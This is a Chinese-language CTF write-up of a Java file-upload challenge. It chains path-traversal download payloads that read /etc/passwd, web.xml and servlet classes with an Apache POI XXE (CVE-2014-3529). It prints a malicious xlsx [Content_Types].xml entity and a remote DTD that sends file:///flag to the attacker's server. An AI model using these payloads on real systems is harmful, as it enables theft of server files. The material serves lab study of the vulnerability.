XXE -- 外部实体注入(XML External Entity Injection),为利用 XML 处理器的漏洞的攻击技术。XML 外部实体注入漏洞允许攻击者向应用程序注入恶意内容,并在解析 XML 时触发。
关于 CVE-2014-3529
漏洞点测试
打开环境发现为选择文件上传页面
可以上传
但无法下载 flag,别的文件可以下载 猜测是做了过滤
构造下载为空
泄露内部路径
于是我们构造九个 ../
来回到根目录, 尝试读取 /etc/passwd
payload: /file_in_java/DownloadServlet?filename=../../../../../../../../../etc/passwd
成功
来尝试读 web.xml
payload: /file_in_java/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml
web.xml文件是用来配置:欢迎页、servlet、filter等的。当你的web工程没用到这些时,你可以不用web.xml文件来配置你的web工程。
成功
根据 web.xml
信息了解到有几个包,来把这些包下载下来
payload:
/file_in_java/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
/file_in_java/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
/file_in_java/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
将下载好的 .class
用 JD-GUI
打开
JD-GUI is a standalone graphical utility that displays Java source codes of “.class” files. You can browse the reconstructed source code with the JD-GUI for instant access to methods and fields.
着重关注此段
apache poi 在3.10.1之前存在XXE漏洞
而 excel
也是类似压缩包,解压后可以发现文件结构大致如下
.
├── [Content_Types].xml
├── _rels
├── docProps
│ ├── app.xml
│ └── core.xml
└── xl
├── _rels
│ └── workbook.xml.rels
├── styles.xml
├── theme
│ └── theme1.xml
├── workbook.xml
└── worksheets
└── sheet1.xml
选择在 [Content_Types].xml
中添加 XXE payload
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://ip:port/2.dtd">
%ext;
%send;]>
添加 XXE payload
后 [Content_Types].xml
文件结构如图
其中的 ip
记得替换为自己服务器的 ip
<!ENTITY % data SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:port/?q=%data;'>">
%int;
将此段代码放在服务器上,命名为 2.dtd
(文件名可以变通),同时执行
python3 -m http.server 80
使其启动一个 http server
接着上传打包好的 zip
,更改文件名形如 excel-x.xlsx
上传 过几秒在自己的服务器上就可以看到 flag
被传回
注意:如果确认攻击方式无误但监测不到请求,可能是压缩管理软件问题,尝试换一个压缩软件
Reference
Apache-Poi-XXE-Analysis
Apache POI <= 4.1.0 XXE 漏洞 (CVE-2019-12415)
特别致谢:凯哥